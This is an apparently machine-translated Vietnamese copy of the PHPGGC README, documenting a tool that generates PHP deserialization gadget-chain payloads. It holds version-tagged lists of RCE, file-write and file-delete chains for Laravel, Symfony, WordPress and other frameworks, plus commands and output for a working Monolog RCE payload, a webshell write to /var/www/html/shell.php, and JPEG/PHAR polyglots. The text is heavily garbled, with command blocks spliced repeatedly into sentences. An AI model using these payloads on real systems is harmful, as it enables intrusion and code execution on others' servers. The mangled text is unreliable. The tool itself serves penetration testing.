Hướng dẫn phpggc - phpggc

PHPGGC: chuỗi tiện ích chung PHP

PHPGGC là một thư viện tải trọng unserialize () cùng với một công cụ để tạo chúng, từ dòng lệnh hoặc lập trình. Khi gặp phải sự không rõ ràng trên một trang web, bạn không có mã hoặc đơn giản là khi cố gắng xây dựng một khai thác, công cụ này cho phép bạn tạo tải trọng mà không phải thực hiện các bước tẻ nhạt để tìm các tiện ích và kết hợp chúng. Nó có thể được coi là tương đương với Ysoserial của Frohoff, nhưng đối với PHP. Hiện tại, công cụ này hỗ trợ các chuỗi tiện ích như: codeigniter4, discatrine, drupal7, guzzle, laravel, magento, monolog, phalcon, podio, slim, swiftmailer, symfony, wordpress, yii và zendframework.

Yêu cầu

PHP> = 5.6 là bắt buộc để chạy PHPGGC.

Cách sử dụng

Chạy

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

3 để có được danh sách các chuỗi tiện ích:

$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                            TYPE                   VECTOR         I    
CakePHP/RCE1                              ? <= 3.9.6                         RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                         RCE (Function call)    __destruct          
CodeIgniter4/RCE1                         4.0.0-beta.1 <= 4.0.0-rc.4         RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.0.4+               RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         -4.1.3+                            RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                  File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5     File write             __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                         File delete            __destruct     *    
Dompdf/FD2                                ? < 1.1.1                          File delete            __destruct     *    
Drupal7/FD1                               7.0 < ?                            File delete            __destruct     *    
Drupal7/RCE1                              7.0.8 < ?                          RCE (Function call)    __destruct     *    
Guzzle/FW1                                6.0.0 <= 6.3.3+                    File write             __destruct          
Guzzle/INFO1                              6.0.0 <= 6.3.2                     phpinfo()              __destruct     *    
Guzzle/RCE1                               6.0.0 <= 6.3.2                     RCE (Function call)    __destruct     *    
Horde/RCE1                                <= 5.2.22                          RCE (PHP code)         __destruct     *    
Kohana/FR1                                3.*                                File read              __toString     *    
Laminas/FD1                               <= 2.11.2                          File delete            __destruct          
Laminas/FW1                               2.8.0 <= 3.0.x-dev                 File write             __destruct     *    
Laravel/RCE1                              5.4.27                             RCE (Function call)    __destruct          
Laravel/RCE10                             5.6.0 <= 9.1.8+                    RCE (Function call)    __toString          
Laravel/RCE2                              5.4.0 <= 8.6.9+                    RCE (Function call)    __destruct          
Laravel/RCE3                              5.5.0 <= 5.8.35                    RCE (Function call)    __destruct     *    
Laravel/RCE4                              5.4.0 <= 8.6.9+                    RCE (Function call)    __destruct          
Laravel/RCE5                              5.8.30                             RCE (PHP code)         __destruct     *    
Laravel/RCE6                              5.5.* <= 5.8.35                    RCE (PHP code)         __destruct     *    
Laravel/RCE7                              ? <= 8.16.1                        RCE (Function call)    __destruct     *    
Laravel/RCE8                              7.0.0 <= 8.6.9+                    RCE (Function call)    __destruct     *    
Laravel/RCE9                              5.4.0 <= 9.1.8+                    RCE (Function call)    __destruct          
Magento/FW1                               ? <= 1.9.4.0                       File write             __destruct     *    
Magento/SQLI1                             ? <= 1.9.4.0                       SQL injection          __destruct          
Magento2/FD1                              *                                  File delete            __destruct     *    
Monolog/FW1                               3.0.0 <= 3.1.0+                    File write             __destruct     *    
Monolog/RCE1                              1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+    RCE (Function call)    __destruct          
Monolog/RCE2                              1.4.1 <= 2.7.0+                    RCE (Function call)    __destruct          
Monolog/RCE3                              1.1.0 <= 1.10.0                    RCE (Function call)    __destruct          
Monolog/RCE4                              ? <= 2.4.4+                        RCE (Command)          __destruct     *    
Monolog/RCE5                              1.25 <= 2.7.0+                     RCE (Function call)    __destruct          
Monolog/RCE6                              1.10.0 <= 2.7.0+                   RCE (Function call)    __destruct          
Monolog/RCE7                              1.10.0 <= 2.7.0+                   RCE (Function call)    __destruct     *    
Monolog/RCE8                              3.0.0 <= 3.1.0+                    RCE (Function call)    __destruct     *    
Monolog/RCE9                              3.0.0 <= 3.1.0+                    RCE (Function call)    __destruct     *    
Phalcon/RCE1                              <= 1.2.2                           RCE                    __wakeup       *    
PHPCSFixer/FD1                            <= 2.17.3                          File delete            __destruct          
PHPCSFixer/FD2                            <= 2.17.3                          File delete            __destruct          
PHPExcel/FD1                              1.8.2+                             File delete            __destruct          
PHPExcel/FD2                              <= 1.8.1                           File delete            __destruct          
PHPExcel/FD3                              1.8.2+                             File delete            __destruct          
PHPExcel/FD4                              <= 1.8.1                           File delete            __destruct          
PHPSecLib/RCE1                            2.0.0 <= 2.0.34                    RCE (PHP code)         __destruct     *    
Pydio/Guzzle/RCE1                         < 8.2.2                            RCE (Function call)    __toString          
Slim/RCE1                                 3.8.1                              RCE (Function call)    __toString          
Smarty/FD1                                ?                                  File delete            __destruct          
Smarty/SSRF1                              ?                                  SSRF                   __destruct     *    
SwiftMailer/FD1                           -5.4.12+, -6.2.1+                  File delete            __destruct          
SwiftMailer/FW1                           5.1.0 <= 5.4.8                     File write             __toString          
SwiftMailer/FW2                           6.0.0 <= 6.0.1                     File write             __toString          
SwiftMailer/FW3                           5.0.1                              File write             __toString          
SwiftMailer/FW4                           4.0.0 <= ?                         File write             __destruct          
Symfony/FW1                               2.5.2                              File write             DebugImport    *    
Symfony/FW2                               3.4                                File write             __destruct          
Symfony/RCE1                              3.3                                RCE (Command)          __destruct     *    
Symfony/RCE2                              2.3.42 < 2.6                       RCE (PHP code)         __destruct     *    
Symfony/RCE3                              2.6 <= 2.8.32                      RCE (PHP code)         __destruct     *    
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7        RCE (Function call)    __destruct     *    
Symfony/RCE5                              5.2.*                              RCE (Function call)    __destruct          
TCPDF/FD1                                 <= 6.3.5                           File delete            __destruct     *    
ThinkPHP/FW1                              5.0.4-5.0.24                       File write             __destruct     *    
ThinkPHP/FW2                              5.0.0-5.0.03                       File write             __destruct     *    
ThinkPHP/RCE1                             5.1.x-5.2.x                        RCE (Function call)    __destruct     *    
ThinkPHP/RCE2                             5.0.24                             RCE (Function call)    __destruct     *    
Typo3/FD1                                 4.5.35 <= 10.4.1                   File delete            __destruct     *    
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2                RCE (Function call)    __destruct     *    
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2        RCE (Function call)    __destruct     *    
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2       RCE (Function call)    __toString     *    
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2       RCE (Function call)    __destruct     *    
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2         RCE (Function call)    __destruct     *    
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2         RCE (Function call)    __destruct     *    
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2       RCE (Function call)    __destruct     *    
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2              RCE (Function call)    __destruct     *    
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2            RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2                RCE (Function call)    __toString     *    
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2              RCE (Function call)    __toString     *    
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2                RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2              RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2                RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2              RCE (Function call)    __destruct     *    
Yii/RCE1                                  1.1.20                             RCE (Function call)    __wakeup       *    
Yii2/RCE1                                 <2.0.38                            RCE (Function call)    __destruct     *    
Yii2/RCE2                                 <2.0.38                            RCE (PHP code)         __destruct     *    
ZendFramework/FD1                         ? <= 1.12.20                       File delete            __destruct          
ZendFramework/RCE1                        ? <= 1.12.20                       RCE (PHP code)         __destruct     *    
ZendFramework/RCE2                        1.11.12 <= 1.12.20                 RCE (Function call)    __toString     *    
ZendFramework/RCE3                        2.0.1 <= ?                         RCE (Function call)    __destruct          
ZendFramework/RCE4                        ? <= 1.12.20                       RCE (PHP code)         __destruct     *    

Chuỗi bộ lọc chuỗi:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

Mỗi chuỗi tiện ích đều có:

  • Tên: Tên của khung/thư viện
  • Phiên bản: Phiên bản của khung/thư viện mà các tiện ích dành cho
  • Loại: Loại khai thác: RCE, ghi tệp, đọc tệp, bao gồm ...
  • Vector: vectơ để kích hoạt chuỗi sau khi unserialize (
    $ ./phpggc -l laravel
    
    Gadget Chains
    -------------
    
    NAME             VERSION            TYPE                   VECTOR        I    
    Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
    Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
    Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
    Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
    Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
    Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
    Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
    Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
    Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
    Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         
    
    
    4,
    $ ./phpggc -l laravel
    
    Gadget Chains
    -------------
    
    NAME             VERSION            TYPE                   VECTOR        I    
    Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
    Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
    Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
    Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
    Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
    Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
    Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
    Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
    Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
    Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         
    
    
    5,
    $ ./phpggc -l laravel
    
    Gadget Chains
    -------------
    
    NAME             VERSION            TYPE                   VECTOR        I    
    Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
    Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
    Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
    Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
    Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
    Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
    Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
    Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
    Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
    Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         
    
    
    6, ...)
  • Thông tin: Thông tin khác về chuỗi

Sử dụng

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

7 để có được thông tin chi tiết về một chuỗi:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 

Khi bạn đã chọn một chuỗi, hãy chạy

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

8 để có được tải trọng. Chẳng hạn, để có được tải trọng cho Monolog, bạn sẽ làm:

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Đối với một tệp viết bằng swiftmailer, bạn sẽ làm:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Vỏ bánh

Tùy chọn

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

9 (
$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 
0) cho phép bạn xác định tệp PHP chứa các chức năng sau:

  • $ ./phpggc -i symfony/rce1
    Name           : Symfony/RCE1
    Version        : 3.3
    Type           : rce
    Vector         : __destruct
    Informations   : 
    Exec through proc_open()
    
    ./phpggc Symfony/RCE1 
    
    1: Được gọi ngay trước
    $ ./phpggc -i symfony/rce1
    Name           : Symfony/RCE1
    Version        : 3.3
    Type           : rce
    Vector         : __destruct
    Informations   : 
    Exec through proc_open()
    
    ./phpggc Symfony/RCE1 
    
    2, cho phép thay đổi tham sốbefore
    $ ./phpggc -i symfony/rce1
    Name           : Symfony/RCE1
    Version        : 3.3
    Type           : rce
    Vector         : __destruct
    Informations   : 
    Exec through proc_open()
    
    ./phpggc Symfony/RCE1 
    
    2, allows to change parameters
  • $ ./phpggc -i symfony/rce1
    Name           : Symfony/RCE1
    Version        : 3.3
    Type           : rce
    Vector         : __destruct
    Informations   : 
    Exec through proc_open()
    
    ./phpggc Symfony/RCE1 
    
    3: Được gọi ngay trước
    $ ./phpggc -i symfony/rce1
    Name           : Symfony/RCE1
    Version        : 3.3
    Type           : rce
    Vector         : __destruct
    Informations   : 
    Exec through proc_open()
    
    ./phpggc Symfony/RCE1 
    
    4, cho phép thay đổi đối tượngbefore
    $ ./phpggc -i symfony/rce1
    Name           : Symfony/RCE1
    Version        : 3.3
    Type           : rce
    Vector         : __destruct
    Informations   : 
    Exec through proc_open()
    
    ./phpggc Symfony/RCE1 
    
    4, allows to change the object
  • $ ./phpggc -i symfony/rce1
    Name           : Symfony/RCE1
    Version        : 3.3
    Type           : rce
    Vector         : __destruct
    Informations   : 
    Exec through proc_open()
    
    ./phpggc Symfony/RCE1 
    
    5: Được gọi ngay sau
    $ ./phpggc -i symfony/rce1
    Name           : Symfony/RCE1
    Version        : 3.3
    Type           : rce
    Vector         : __destruct
    Informations   : 
    Exec through proc_open()
    
    ./phpggc Symfony/RCE1 
    
    4, cho phép thay đổi chuỗi tuần tự hóaafter
    $ ./phpggc -i symfony/rce1
    Name           : Symfony/RCE1
    Version        : 3.3
    Type           : rce
    Vector         : __destruct
    Informations   : 
    Exec through proc_open()
    
    ./phpggc Symfony/RCE1 
    
    4, allows to change the serialized string

Chẳng hạn, nếu mã dễ bị tổn thương trông như thế này:


$data = unserialize($_GET['data']);
print $data['message'];

Bạn có thể sử dụng chuỗi

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

5, bao bọc nó như vậy:


# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

Và bạn sẽ gọi PHPGGC như vậy:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

Lịch sử

Tại Blackhat US 2018, @S_N_T đã phát hành Pharggc, một ngã ba PHPGGC thay vì xây dựng một tải trọng tuần tự hóa, xây dựng toàn bộ tệp Phar. Tệp Phar này chứa dữ liệu tuần tự hóa và như vậy có thể được sử dụng cho các kỹ thuật khai thác khác nhau (

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 
8,
$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 
9, v.v.). Bài báo ở đây.

Thực hiện

Lưu trữ Phar có ba định dạng khác nhau: Phar, Tar và Zip. Ba người họ được hỗ trợ bởi PHPGGC. Các tệp polyglot có thể được tạo bằng

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
0 (
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
1). Các tùy chọn khác có sẵn (sử dụng
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
2).PHAR, TAR, and ZIP. The three of them are supported by PHPGGC. Polyglot files can be generated using
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
0 (
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
1). Other options are available (use
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
2).

Ví dụ

$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Bộ mã hóa

Đối số cho phép sửa đổi cách đầu ra tải trọng. Chẳng hạn,

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
3 sẽ mã hóa URL và
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
4 sẽ chuyển đổi nó thành base64. Tải trọng thường chứa các byte null và không thể được sao chép/dán is-is. Sử dụng
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
5 cho một mã hóa URL mềm, giúp tải trọng có thể đọc được.Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
5 for a soft URL encode, which keeps the payload readable.

Các bộ mã hóa có thể được xích, và như vậy thứ tự là quan trọng. Chẳng hạn,

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
6 sẽ dựa trên tải trọng, sau đó urlencode nó hai lần.the order is important. For instance,
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
6 will base64 the payload, then URLencode it twice.

Nâng cao: Cải tiến

Phá hủy nhanh

PHPGGC thực hiện cờ

$ ./phpggc monolog/rce1 assert 'phpinfo()'
